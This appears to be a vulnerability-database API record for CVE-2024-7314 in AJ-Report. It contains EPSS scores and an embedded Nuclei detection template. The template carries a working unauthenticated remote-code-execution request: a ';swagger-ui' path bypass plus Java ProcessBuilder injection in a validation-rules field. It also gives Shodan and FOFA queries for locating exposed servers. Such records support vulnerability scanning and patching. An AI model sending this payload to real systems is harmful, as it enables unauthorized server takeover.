{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-7314/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-7314/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-7314/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-7314/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-7314/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-7314"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-7314"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.5175,
      "kev": false,
      "percentile": 0.98898
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-7314.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-7314\n\ninfo:\n  name: AJ-Report < 1.4.1 - Remote Code Execution\n  author: ritikchaddha\n  severity: critical\n  description: |\n    AJ-Report before version 1.4.1 is affected by an authentication bypass vulnerability. A remote and unauthenticated attacker can append \";swagger-ui\" to HTTP requests to bypass authentication and execute arbitrary Java code on the victim server through script engine injection in the validation rules functionality.\n  impact: |\n    Unauthenticated attackers can bypass authentication and execute arbitrary Java code on the server through script engine injection, achieving complete system compromise and access to all application data.\n  remediation: |\n    Upgrade to AJ-Report version 1.4.1 or later which includes security fixes.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/aj-report/CNVD-2024-15077\n    - https://github.com/yuebusao/AJ-REPORT-EXPLOIT\n    - https://xz.aliyun.com/t/14460\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-7314\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-280\n    epss-score: 0.5175\n    epss-percentile: 0.98897\n    cve-id: CVE-2024-7314\n    cpe: cpe:2.3:a:anji-plus:report:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: anji-plus\n    product: report\n    fofa-query: app=\"AJ-Report\"\n    shodan-query: http.title:\"AJ-Report\"\n  tags: cve,cve2024,aj-report,anji-plus,rce,swagger,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json;charset=UTF-8\n\n        {\"ParamName\":\"\",\"paramDesc\":\"\",\"paramType\":\"\",\"sampleItem\":\"1\",\"mandatory\":true,\"requiredFlag\":1,\"validationRules\":\"function verification(data){a = new java.lang.ProcessBuilder(\\\"id\\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\"\n          - 'data\":'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        regex:\n          - \"uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)\"\n# digest: 4a0a004730450220115be401b9325d4e9dc661a9e7ec2a616818499e9fa596bb34eedde761844893022100da239ff3c8c01515a113d2a87f01b1dc72d607619b8145a647f66f465ee3c3d2:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-7314"
}